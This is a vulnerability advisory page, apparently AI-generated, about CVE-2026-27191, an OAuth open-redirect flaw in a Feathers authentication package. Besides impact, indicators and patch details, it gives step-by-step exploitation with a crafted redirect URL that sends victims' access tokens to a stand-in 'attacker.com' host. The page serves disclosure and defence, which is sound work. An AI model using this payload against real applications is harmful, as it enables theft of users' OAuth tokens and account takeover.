CVE-2026-27191
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-27191 is an open redirect vulnerability in the @feathersjs/authentication-oauth package that enables full account takeover via URL authority injection during OAuth callback handling. The flaw affects all versions of @feathersjs/feathers (npm) up to and including 5.0.39, and was disclosed on February 18, 2026, with a patch released in version 5.0.40. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 7.4 (High) (GitHub Advisory, Feathers Security Advisory).

Technical details

The root cause is improper input validation of the redirect query parameter (CWE-601: URL Redirection to Untrusted Site). The application constructs the final OAuth redirect URL by directly concatenating a configured base origin with the user-supplied ?redirect= parameter value — const redirectUrl = \${redirect}${queryRedirect}`— without sanitizing characters that can alter URL authority. An attacker supplying@attacker.comas the redirect value produces a URL likehttps://target.com@attacker.com#access_token=...`, which browsers parse with attacker.com as the actual host, causing the access token to be sent to the attacker's server. A secondary weakness existed in origin validation: the startsWith() comparison allowed bypass by domains sharing a prefix with an allowed origin (e.g., https://target.com.attacker.com). Exploitation requires the origins array to be configured and origin values to not end with / (GitHub Advisory, Patch Commit).

Impact

Successful exploitation results in full account takeover: the attacker captures the victim's OAuth access token and can impersonate them across any service relying on that token. Confidentiality and integrity of the victim's account are fully compromised, as the attacker gains the same privileges as the authenticated user. There is no direct availability impact, but the stolen token can be used for unauthorized actions, data exfiltration, or privilege escalation within the application (GitHub Advisory, Feathers Security Advisory).

Exploitability

No public exploit code or in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.039% (2nd percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction — a victim must click a crafted OAuth login link — and the target application must have the origins array configured with values not ending in / (GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify a target application using @feathersjs/authentication-oauth version ≤ 5.0.39 with OAuth login enabled and the origins array configured (origin values not ending with /).
  2. Craft malicious redirect URL: Construct a login URL with a malicious ?redirect= parameter, e.g., https://target.com/oauth/github?redirect=@attacker.com, where attacker.com is an attacker-controlled server.
  3. Deliver to victim: Send the crafted URL to a victim via phishing, social engineering, or embedding in a web page to induce them to initiate the OAuth flow.
  4. Victim authenticates: The victim clicks the link and completes the OAuth login with their identity provider (e.g., GitHub). The application stores the malicious redirect value in the session.
  5. Token exfiltration: After successful OAuth authentication, the application constructs the redirect URL as https://target.com@attacker.com#access_token=<victim_token>. The browser interprets attacker.com as the host and sends the request — including the access token in the URL fragment — to the attacker's server.
  6. Account takeover: The attacker extracts the access token from server logs or JavaScript on attacker.com and uses it to impersonate the victim (GitHub Advisory, Patch Commit).

Indicators of compromise

  • Network: Outbound HTTP requests from the application server to unexpected external domains immediately following OAuth callback processing; OAuth redirect URLs in server logs containing @ characters, //, or backslashes in the redirect parameter.
  • Logs: Application access logs showing OAuth callback requests (e.g., /oauth/github/callback) with redirect query parameters containing @, //, or \ characters; NotAuthenticated errors for Invalid redirect path (post-patch) indicating attempted exploitation.
  • Application Behavior: OAuth sessions completing but redirecting users to unexpected external domains; access tokens appearing in referrer headers of requests to third-party servers.

Mitigation and workarounds

Upgrade @feathersjs/authentication-oauth to version 5.0.40 or later, which validates the redirect parameter by rejecting values containing @, //, or \ characters, and fixes origin validation to use exact origin comparison via new URL().origin instead of startsWith(). As a temporary workaround, ensure all configured origins values end with /, which reduces exploitability. Additionally, restrict the OAuth login endpoint to trusted referrers at the network or WAF level (GitHub Release v5.0.40, Patch Commit).

Community reactions

The vulnerability was discovered and responsibly disclosed by researchers Abdelwahed Madani Yousfi (@vvxhid), Edoardo Geraci (@b0-n0-b0), and Thomas Rinsma (@ThomasRinsma) from Codean Labs. The Feathers maintainer (daffl) published the advisory and patch promptly on February 18, 2026. No significant broader media coverage or notable community controversy has been observed beyond the standard advisory publication (GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-54155HIGH7.7
  • JavaScript logoJavaScript
  • node-opcua
NoNoAug 20, 2026
CVE-2026-54156HIGH7.5
  • JavaScript logoJavaScript
  • node-opcua
NoYesAug 20, 2026
CVE-2026-55451MEDIUM6.9
  • JavaScript logoJavaScript
  • gettext-converter
NoYesAug 20, 2026
CVE-2026-54150MEDIUM6.9
  • JavaScript logoJavaScript
  • next-video
NoYesAug 20, 2026
GHSA-ghvf-qf6h-g8x5HIGHN/A
  • JavaScript logoJavaScript
  • @nocobase/server
NoYesAug 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management